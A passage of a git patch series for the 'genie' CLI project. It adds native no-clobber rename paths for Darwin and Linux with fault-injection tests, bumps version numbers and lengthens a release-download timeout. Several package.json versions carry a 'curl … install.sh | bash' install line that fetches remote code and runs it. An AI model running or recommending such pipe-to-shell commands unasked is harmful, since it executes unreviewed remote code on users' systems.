}, + }), + 'claude', + ); + + expect(nativeCalls).toBe(1); + expect(existsSync(manifestPath)).toBe(false); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(claude.advisories.join('\n')).toContain('injected native invocation failure'); + }); + + test('a Darwin exception after the native rename reconciles the exact committed manifest', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutPath = join(agentsDir, 'scout.md'); + let nativeCalls = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + darwinOpener: () => (staged, target) => { + nativeCalls += 1; + renameSync(staged.subarray(0, -1).toString(), target.subarray(0, -1).toString()); + throw new Error('injected exception after native rename committed'); + }, + }, + }, + }), + 'claude', + ); + + expect(nativeCalls).toBe(1); + expect(claude.failures).toBeUndefined(); + expect(existsSync(scoutPath)).toBe(true); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeDefined(); + expect(lstatSync(manifestPath).nlink).toBe(1); + expect(readdirSync(agentsDir).some((name) => name.includes(`${MANIFEST_NAME}.genie-sync.staging-`))).toBe(false); + }); + + test('a Linux native invocation exception before rename fails closed without a portable retry', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + let nativeCalls = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + platform: 'linux', + probe: {}, + opener: () => () => { + nativeCalls += 1; + throw new Error('injected Linux exception before native rename'); + }, + }, + }, + }), + 'claude', + ); + + expect(nativeCalls).toBe(1); + expect(existsSync(manifestPath)).toBe(false); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.join('\n')).toContain('injected Linux exception before native rename'); + }); + + test('a Linux exception after the native rename reconciles the exact committed manifest', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutPath = join(agentsDir, 'scout.md'); + let nativeCalls = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + platform: 'linux', + probe: {}, + opener: () => (staged, target) => { + nativeCalls += 1; + renameSync(staged.subarray(0, -1).toString(), target.subarray(0, -1).toString()); + throw new Error('injected Linux exception after native rename committed'); + }, + }, + }, + }), + 'claude', + ); + + expect(nativeCalls).toBe(1); + expect(claude.failures).toBeUndefined(); + expect(existsSync(scoutPath)).toBe(true); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeDefined(); + expect(lstatSync(manifestPath).nlink).toBe(1); + expect(readdirSync(agentsDir).some((name) => name.includes(`${MANIFEST_NAME}.genie-sync.staging-`))).toBe(false); + }); + test('portable manifest cleanup failure unpublishes the linked inode and restores the prior base', () => { present(fixture.claudeDir); run(); @@ -2559,6 +2729,60 @@ describe('cross-process sync lock', () => { expect(lstatSync(displacedClaim).isDirectory()).toBe(true); }); + test('unavailable Darwin FFI setup selects the dedicated portable missing-home commit', () => { + const absentHome = join(fixture.root, 'darwin-ffi-unavailable-home'); + let portableClaimed = false; + let setupAttempts = 0; + + const lock = acquireAgentSyncLock(absentHome, { + homePublishDeps: { + darwinOpener: () => { + setupAttempts += 1; + throw new Error('injected Bun --no-ffi home setup denial'); + }, + }, + afterPortableHomeClaim: () => { + portableClaimed = true; + }, + }); + + expect(setupAttempts).toBe(1); + expect(portableClaimed).toBe(true); + expect(lock).not.toBeNull(); + lock?.release(); + expect(readdirSync(absentHome)).toEqual([]); + }); + + test('a Darwin home native invocation exception fails closed without a portable retry', () => { + const absentHome = join(fixture.root, 'darwin-native-home-invocation-failure'); + let portableClaimed = false; + let stagedHome = ''; + let nativeCalls = 0; + + expect(() => + acquireAgentSyncLock(absentHome, { + homePublishDeps: { + darwinOpener: () => () => { + nativeCalls += 1; + throw new Error('injected native home invocation failure'); + }, + }, + beforeHomePublish: ({ stagePath }) => { + stagedHome = stagePath; + }, + afterPortableHomeClaim: () => { + portableClaimed = true; + }, + }), + ).toThrow(AgentSyncLockError); + + expect(nativeCalls).toBe(1); + expect(portableClaimed).toBe(false); + expect(existsSync(absentHome)).toBe(false); + expect(stagedHome).not.toBe(''); + expect(existsSync(stagedHome)).toBe(false); + }); + test('a foreign owner replacement installed after release capture survives byte-for-byte', () => { const lockPath = join(fixture.genieHome, LOCK_NAME); let ownerPath = ''; diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 330c2f7bf..137af4516 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -225,6 +225,8 @@ export interface PortableManifestStageCleanupEvent { export interface AgentManifestPublishOptions { /** Force the hard-link fallback even when the host exposes native NOREPLACE rename. */ forcePortable?: boolean; + /** Injectable native capability setup for deterministic fallback tests. */ + noClobberDeps?: NoClobberDeps; /** Deterministic failure/race barrier after the stage name is captured but before it is retired. */ beforePortableStageNameCleanup?: (event: PortableManifestStageCleanupEvent) => void; } @@ -242,6 +244,8 @@ export interface AgentSyncLockOptions { beforeHomePublish?: (event: { path: string; stagePath: string }) => void; /** Force missing-home publication through the portable mkdir commit (test seam). */ forcePortableHomePublish?: boolean; + /** Injectable native capability setup for missing-home publication. */ + homePublishDeps?: NoClobberDeps; /** Deterministic barrier after the portable mkdir commit and before the live home is inspected. */ afterPortableHomeClaim?: (event: { path: string; stagePath: string }) => void; /** Deterministic barrier after the lock pathname is captured and before the captured object is finalized. */ @@ -2078,11 +2082,15 @@ type LibcRenameOpener = (soname: string) => Renameat2 | null; interface RenameProbe { resolved?: Renameat2 | null; } -/** Dependency-injection seam for the Linux no-clobber fast path — no global mutable state, no test-only setter. */ +/** Native no-clobber capability seams — no global mutable state or test-only setter. */ export interface NoClobberDeps { opener?: LibcRenameOpener; candidates?: readonly string[]; probe?: RenameProbe; + /** Deterministically select the regular-file native family without mutating global process state. */ + platform?: NodeJS.Platform; + /** Regular-file and lock-home callers use an explicit opener to select the Darwin branch on test hosts. */ + darwinOpener?: () => ((staged: Buffer, target: Buffer) => number) | null; } const defaultLibcOpener: LibcRenameOpener = (soname) => { @@ -2111,11 +2119,69 @@ export function resolveLinuxRenameat2( const defaultLinuxProbe: RenameProbe = {}; function probeLinuxRenameat2(deps: NoClobberDeps): Renameat2 | null { - const probe = deps.probe ?? defaultLinuxProbe; - if (!('resolved' in probe)) probe.resolved = resolveLinuxRenameat2(deps.opener, deps.candidates); + const hasInjectedResolution = deps.opener !== undefined || deps.candidates !== undefined; + const probe = deps.probe ?? (hasInjectedResolution ? {} : defaultLinuxProbe); + if (!('resolved' in probe)) { + try { + probe.resolved = resolveLinuxRenameat2(deps.opener, deps.candidates); + } catch { + probe.resolved = null; + } + } return probe.resolved ?? null; } +const defaultDarwinRenameOpener: NonNullable = () => { + try { + const libc = dlopen('/usr/lib/libSystem.B.dylib', { + renamex_np: { args: ['cstring', 'cstring', 'u32'], returns: 'i32' }, + } as const); + try { + const renamex = libc.symbols.renamex_np; + if (typeof renamex !== 'function') { + libc.close(); + return null; + } + return (staged, target) => { + let result: number; + try { + result = renamex(staged, target, DARWIN_RENAME_EXCL); + } catch (error) { + try { + libc.close(); + } catch { + // Preserve the native invocation error; cleanup cannot authorize a portable retry. + } + throw error; + } + try { + libc.close(); + } catch { + // The native result is already known; close-only failure cannot rewrite the commit outcome. + } + return result; + }; + } catch { + try { + libc.close(); + } catch { + // Setup already failed; inability to close the incomplete handle does not make the capability available. + } + return null; + } + } catch { + return null; + } +}; + +function resolveDarwinRenameExclusive(deps: NoClobberDeps): ((staged: Buffer, target: Buffer) => number) | null { + try { + return (deps.darwinOpener ?? defaultDarwinRenameOpener)(); + } catch { + return null; + } +} + /** * Portable, always-available, directory-ONLY, provably no-clobber publish. * `mkdir` reserves the target name atomically (EEXIST => a real target is @@ -2182,6 +2248,59 @@ export function atomicRenameDirectoryNoClobber(stagedDir: string, targetDir: str type RegularFileNoClobberPublish = 'renamed' | 'linked'; +/** Reconcile an exception only when the exact staged payload moved completely onto the target name. */ +function exactFileStageMovedToTarget(stage: FileStage, targetFile: string): boolean { + if (lstatSafe(stage.path) !== null) return false; + try { + const before = lstatSync(targetFile); + if ( + !before.isFile() || + before.isSymbolicLink() || + !samePathIdentity(stage.stat, before) || + !readFileSync(targetFile).equals(stage.bytes) + ) { + return false; + } + return samePathIdentity(before, lstatSync(targetFile)); + } catch { + return false; + } +} + +function selectedRegularFileNativePlatform(deps: NoClobberDeps): NodeJS.Platform { + return deps.platform ?? (deps.darwinOpener === undefined ? process.platform : 'darwin'); +} + +/** Null means native setup was unavailable before invocation, so the portable commit remains safe to select. */ +function resolveRegularFileNativeRename(deps: NoClobberDeps): Renameat2 | null { + const platform = selectedRegularFileNativePlatform(deps); + if (platform === 'darwin') return resolveDarwinRenameExclusive(deps); + if (platform === 'linux') return probeLinuxRenameat2(deps); + return null; +} + +/** Once invoked, native return and exception outcomes are authoritative and never select a portable retry. */ +function publishRegularFileViaNativeNoClobber( + stage: FileStage, + targetFile: string, + renameExclusive: Renameat2, +): RegularFileNoClobberPublish { + let result: number; + try { + result = renameExclusive(Buffer.from(`${stage.path}\0`), Buffer.from(`${targetFile}\0`)); + } catch (error) { + if (exactFileStageMovedToTarget(stage, targetFile)) return 'renamed'; + throw error; + } + if (result !== 0) { + const detail = lstatSafe(targetFile) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic regular-file no-clobber publish failed (${detail}); target preserved: ${targetFile}`, + ); + } + return 'renamed'; +} + /** * Publish one staged regular file while atomically rejecting every existing * target inode. Linux and Darwin consume the staged name with their native @@ -2190,48 +2309,26 @@ type RegularFileNoClobberPublish = 'renamed' | 'linked'; * committed only after retiring the extra name and verifying a safe nlink=1. */ function atomicRenameRegularFileNoClobber( - stagedFile: string, + stage: FileStage, targetFile: string, deps: NoClobberDeps = {}, forcePortable = false, ): RegularFileNoClobberPublish { - const stagedStat = lstatSync(stagedFile); - if (!stagedStat.isFile() || stagedStat.isSymbolicLink()) { - throw new Error(`atomic publish source is not a physical regular file: ${stagedFile}`); + const stagedStat = lstatSync(stage.path); + if ( + !stagedStat.isFile() || + stagedStat.isSymbolicLink() || + !samePathIdentity(stage.stat, stagedStat) || + !readFileSync(stage.path).equals(stage.bytes) + ) { + throw new Error(`atomic publish source is not the expected physical regular file: ${stage.path}`); } - const stagedPath = Buffer.from(`${stagedFile}\0`); - const targetPath = Buffer.from(`${targetFile}\0`); - if (!forcePortable && process.platform === 'linux') { - const rn = probeLinuxRenameat2(deps); - if (rn !== null) { - if (rn(stagedPath, targetPath) !== 0) { - const detail = lstatSafe(targetFile) === null ? 'rename failed' : 'target exists'; - throw new NoClobberPublishError( - `atomic regular-file no-clobber publish failed (${detail}); target preserved: ${targetFile}`, - ); - } - return 'renamed'; - } - } else if (!forcePortable && process.platform === 'darwin') { - const libc = dlopen('/usr/lib/libSystem.B.dylib', { - renamex_np: { args: ['cstring', 'cstring', 'u32'], returns: 'i32' }, - } as const); - let result: number; - try { - result = libc.symbols.renamex_np(stagedPath, targetPath, DARWIN_RENAME_EXCL); - } finally { - libc.close(); - } - if (result !== 0) { - const detail = lstatSafe(targetFile) === null ? 'rename failed' : 'target exists'; - throw new NoClobberPublishError( - `atomic regular-file no-clobber publish failed (${detail}); target preserved: ${targetFile}`, - ); - } - return 'renamed'; + if (!forcePortable) { + const nativeRename = resolveRegularFileNativeRename(deps); + if (nativeRename !== null) return publishRegularFileViaNativeNoClobber(stage, targetFile, nativeRename); } try { - linkSync(stagedFile, targetFile); + linkSync(stage.path, targetFile); return 'linked'; } catch (error) { const code = (error as NodeJS.ErrnoException).code ?? 'UNKNOWN'; @@ -4063,9 +4160,9 @@ function publishFlatAgentManifestStage( let publish: RegularFileNoClobberPublish; try { publish = atomicRenameRegularFileNoClobber( - stage.path, + stage, manifestPath, - {}, + ctx.seams.manifestPublishOptions?.noClobberDeps, ctx.seams.manifestPublishOptions?.forcePortable, ); } catch (error) { @@ -6140,11 +6237,37 @@ function removeExactEmptyStagedHome(stagePath: string, expected: Stats): void { } } -/** Native NOREPLACE is safe to move the pre-statted generation; every other path uses mkdir as the commit. */ -function hasNativeAgentSyncHomePublish(options: AgentSyncLockOptions): boolean { - if (options.forcePortableHomePublish === true) return false; - if (process.platform === 'darwin') return true; - return process.platform === 'linux' && probeLinuxRenameat2({}) !== null; +type AgentSyncHomePublisher = (stagedDir: string, targetDir: string) => void; + +/** Resolve native NOREPLACE before any publish call; unavailable setup selects the dedicated portable commit. */ +function resolveNativeAgentSyncHomePublisher(options: AgentSyncLockOptions): AgentSyncHomePublisher | null { + if (options.forcePortableHomePublish === true) return null; + const deps = options.homePublishDeps ?? {}; + if (process.platform === 'darwin' || deps.darwinOpener !== undefined) { + const renameExclusive = resolveDarwinRenameExclusive(deps); + if (renameExclusive === null) return null; + return (stagedDir, targetDir) => { + const result = renameExclusive(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); + if (result !== 0) { + const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic agent-sync home publish failed (${detail}); target preserved: ${targetDir}`, + ); + } + }; + } + if (process.platform !== 'linux') return null; + const renameNoReplace = probeLinuxRenameat2(deps); + if (renameNoReplace === null) return null; + return (stagedDir, targetDir) => { + const result = renameNoReplace(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); + if (result !== 0) { + const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic agent-sync home publish failed (${detail}); target preserved: ${targetDir}`, + ); + } + }; } /** @@ -6211,11 +6334,12 @@ function ensurePhysicalAgentSyncHome(genieHome: string, options: AgentSyncLockOp error, ); } - if (!hasNativeAgentSyncHomePublish(options)) { + const nativePublish = resolveNativeAgentSyncHomePublisher(options); + if (nativePublish === null) { return publishPortableEmptyAgentSyncHome(genieHome, stagePath, stagedStat, options); } try { - atomicRenameDirectoryNoClobber(stagePath, genieHome); + nativePublish(stagePath, genieHome); } catch (error) { removeExactEmptyStagedHome(stagePath, stagedStat); const winner = inspectPhysicalAgentSyncHome(genieHome); From 1eb1955906722aa5cd6ee0f90a22c4d9a83d20da Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Jul 2026 23:05:01 +0000 Subject: [PATCH 14/20] chore(version): bump to 5.260714.7 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 4ae12e77e..dbcfe8d42 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.6", + "version": "5.260714.7", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 60e1bf98a..b9357ccff 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.6", + "version": "5.260714.7", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 5a8394856..438fd0f27 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.6", + "version": "5.260714.7", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 420ed208e..6d566f9be 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.6", + "version": "5.260714.7", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index d4de1d1cc..ab473dc3f 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.6", + "version": "5.260714.7", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 509bb2698..96507c6b4 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.6 +version: 5.260714.7 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From a563167883610e11c3a6eea58384794d4b6ec789 Mon Sep 17 00:00:00 2001 From: namastex888 Date: Tue, 14 Jul 2026 20:01:56 -0300 Subject: [PATCH 15/20] fix(agent-sync): honor home publish platform seam --- src/lib/agent-sync.test.ts | 27 ++++++++++++++++++++++++ src/lib/agent-sync.ts | 43 +++++++++++++++++--------------------- 2 files changed, 46 insertions(+), 24 deletions(-) diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index d6555901e..e1618459d 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -2753,6 +2753,33 @@ describe('cross-process sync lock', () => { expect(readdirSync(absentHome)).toEqual([]); }); + test('an explicit Linux home platform with unavailable native setup selects the portable mkdir commit', () => { + const absentHome = join(fixture.root, 'linux-native-unavailable-home'); + const candidates = ['missing-libc-one.so', 'missing-libc-two.so'] as const; + const attempted: string[] = []; + let portableClaimed = false; + + const lock = acquireAgentSyncLock(absentHome, { + homePublishDeps: { + platform: 'linux', + candidates, + opener: (soname) => { + attempted.push(soname); + return null; + }, + }, + afterPortableHomeClaim: () => { + portableClaimed = true; + }, + }); + + expect(attempted).toEqual([...candidates]); + expect(portableClaimed).toBe(true); + expect(lock).not.toBeNull(); + lock?.release(); + expect(readdirSync(absentHome)).toEqual([]); + }); + test('a Darwin home native invocation exception fails closed without a portable retry', () => { const absentHome = join(fixture.root, 'darwin-native-home-invocation-failure'); let portableClaimed = false; diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 137af4516..1a6032ea9 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -2087,7 +2087,7 @@ export interface NoClobberDeps { opener?: LibcRenameOpener; candidates?: readonly string[]; probe?: RenameProbe; - /** Deterministically select the regular-file native family without mutating global process state. */ + /** Deterministically select the native no-clobber family without mutating global process state. */ platform?: NodeJS.Platform; /** Regular-file and lock-home callers use an explicit opener to select the Darwin branch on test hosts. */ darwinOpener?: () => ((staged: Buffer, target: Buffer) => number) | null; @@ -2267,13 +2267,13 @@ function exactFileStageMovedToTarget(stage: FileStage, targetFile: string): bool } } -function selectedRegularFileNativePlatform(deps: NoClobberDeps): NodeJS.Platform { +function selectedNoClobberPlatform(deps: NoClobberDeps): NodeJS.Platform { return deps.platform ?? (deps.darwinOpener === undefined ? process.platform : 'darwin'); } /** Null means native setup was unavailable before invocation, so the portable commit remains safe to select. */ function resolveRegularFileNativeRename(deps: NoClobberDeps): Renameat2 | null { - const platform = selectedRegularFileNativePlatform(deps); + const platform = selectedNoClobberPlatform(deps); if (platform === 'darwin') return resolveDarwinRenameExclusive(deps); if (platform === 'linux') return probeLinuxRenameat2(deps); return null; @@ -6239,28 +6239,9 @@ function removeExactEmptyStagedHome(stagePath: string, expected: Stats): void { type AgentSyncHomePublisher = (stagedDir: string, targetDir: string) => void; -/** Resolve native NOREPLACE before any publish call; unavailable setup selects the dedicated portable commit. */ -function resolveNativeAgentSyncHomePublisher(options: AgentSyncLockOptions): AgentSyncHomePublisher | null { - if (options.forcePortableHomePublish === true) return null; - const deps = options.homePublishDeps ?? {}; - if (process.platform === 'darwin' || deps.darwinOpener !== undefined) { - const renameExclusive = resolveDarwinRenameExclusive(deps); - if (renameExclusive === null) return null; - return (stagedDir, targetDir) => { - const result = renameExclusive(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); - if (result !== 0) { - const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; - throw new NoClobberPublishError( - `atomic agent-sync home publish failed (${detail}); target preserved: ${targetDir}`, - ); - } - }; - } - if (process.platform !== 'linux') return null; - const renameNoReplace = probeLinuxRenameat2(deps); - if (renameNoReplace === null) return null; +function makeAgentSyncHomePublisher(renameExclusive: Renameat2): AgentSyncHomePublisher { return (stagedDir, targetDir) => { - const result = renameNoReplace(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); + const result = renameExclusive(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); if (result !== 0) { const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; throw new NoClobberPublishError( @@ -6270,6 +6251,20 @@ function resolveNativeAgentSyncHomePublisher(options: AgentSyncLockOptions): Age }; } +/** Resolve native NOREPLACE before any publish call; unavailable setup selects the dedicated portable commit. */ +function resolveNativeAgentSyncHomePublisher(options: AgentSyncLockOptions): AgentSyncHomePublisher | null { + if (options.forcePortableHomePublish === true) return null; + const deps = options.homePublishDeps ?? {}; + const platform = selectedNoClobberPlatform(deps); + if (platform === 'darwin') { + const renameExclusive = resolveDarwinRenameExclusive(deps); + return renameExclusive === null ? null : makeAgentSyncHomePublisher(renameExclusive); + } + if (platform !== 'linux') return null; + const renameNoReplace = probeLinuxRenameat2(deps); + return renameNoReplace === null ? null : makeAgentSyncHomePublisher(renameNoReplace); +} + /** * Portably claim a missing GENIE_HOME without ever renaming over its pathname. * The mkdir itself is the atomic commit. Even when the live directory still From 67f9ff834512537caccb8cfa6b613cc87f3fce46 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Jul 2026 23:31:20 +0000 Subject: [PATCH 16/20] chore(version): bump to 5.260714.8 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index dbcfe8d42..e7278a0dc 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.7", + "version": "5.260714.8", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index b9357ccff..40ecc99b7 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.7", + "version": "5.260714.8", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 438fd0f27..23bfee3ee 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.7", + "version": "5.260714.8", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 6d566f9be..556542244 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.7", + "version": "5.260714.8", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index ab473dc3f..793e3e407 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.7", + "version": "5.260714.8", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 96507c6b4..97e89dc0b 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.7 +version: 5.260714.8 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From 56055be3605897149676bdba7d88770ad44f6683 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 23:24:07 -0300 Subject: [PATCH 17/20] fix(update): give the release download its own 5-minute timeout MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit gh release download inherited runCommandSilent's 4s default while pulling a 37MB+ platform tarball; genie update v5.260714.8 timed out at 4000ms on a healthy connection (2026-07-14) on both dev and stable channels. The verify steps got dedicated timeouts after the identical May incident (PR #2421) — the download now gets the same treatment, pinned by the existing runner-seam test. Co-Authored-By: Claude Fable 5 --- src/genie-commands/__tests__/update.test.ts | 3 ++ src/genie-commands/update.ts | 43 +++++++++++++-------- 2 files changed, 30 insertions(+), 16 deletions(-) diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index f48b343d4..177d1a521 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -1014,6 +1014,9 @@ describe('downloadAndVerifyTarball (G5)', () => { expect(argString).toContain(`genie-${manifest.version}-linux-x64-glibc.tar.gz`); expect(argString).toContain('.bundle'); expect(argString).toContain('.intoto.jsonl'); + // 37MB+ tarballs outgrew runCommandSilent's 4s default (v5.260714.8 + // timeout regression) — the download must carry its own generous bound. + expect(calls[0].timeoutMs).toBe(300_000); // Second call — gh attestation verify with workflow identity pinned. expect(calls[1].cmd).toBe('gh'); expect(calls[1].args).toEqual([ diff --git a/src/genie-commands/update.ts b/src/genie-commands/update.ts index f342b05c5..4f46a923b 100644 --- a/src/genie-commands/update.ts +++ b/src/genie-commands/update.ts @@ -541,6 +541,13 @@ interface DownloadAndVerifyOptions { */ const ATTESTATION_VERIFY_TIMEOUT_MS = 60_000; const COSIGN_VERIFY_TIMEOUT_MS = 30_000; +/** + * The tarball download moves ~37MB+ per platform and outgrew runCommandSilent's + * 4s default the same way the verify steps did: genie update v5.260714.8 timed + * out at 4000ms on a healthy connection (Felipe, 2026-07-14). 5 minutes bounds + * a genuinely slow link without hanging forever. + */ +const RELEASE_DOWNLOAD_TIMEOUT_MS = 300_000; interface SignatureVerificationResult { method: 'gh-attestation' | 'cosign-bundle'; @@ -625,22 +632,26 @@ export async function downloadAndVerifyTarball( // gh release download retries by name; --pattern lets us pull the tarball // and its sidecar (.bundle, .intoto.jsonl) in one shot via wildcards. - const downloadResult = await runner('gh', [ - 'release', - 'download', - versionTag, - '--repo', - `${RELEASES_OWNER}/${RELEASES_REPO}`, - '--dir', - destDir, - '--pattern', - tarballName, - '--pattern', - `${tarballName}.bundle`, - '--pattern', - `${tarballName}.intoto.jsonl`, - '--clobber', - ]); + const downloadResult = await runner( + 'gh', + [ + 'release', + 'download', + versionTag, + '--repo', + `${RELEASES_OWNER}/${RELEASES_REPO}`, + '--dir', + destDir, + '--pattern', + tarballName, + '--pattern', + `${tarballName}.bundle`, + '--pattern', + `${tarballName}.intoto.jsonl`, + '--clobber', + ], + RELEASE_DOWNLOAD_TIMEOUT_MS, + ); if (!downloadResult.success) { throw new Error( `gh release download ${versionTag} failed for ${platform}: ${downloadResult.output.trim() || 'no output'}`, From cf59c948535a3a54a448439fbec5e9dd5c164813 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 15 Jul 2026 02:36:58 +0000 Subject: [PATCH 18/20] chore(version): bump to 5.260715.1 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index e7278a0dc..cd094dbbf 100644 --- a/.claude-plugin/marketplace.json +++ 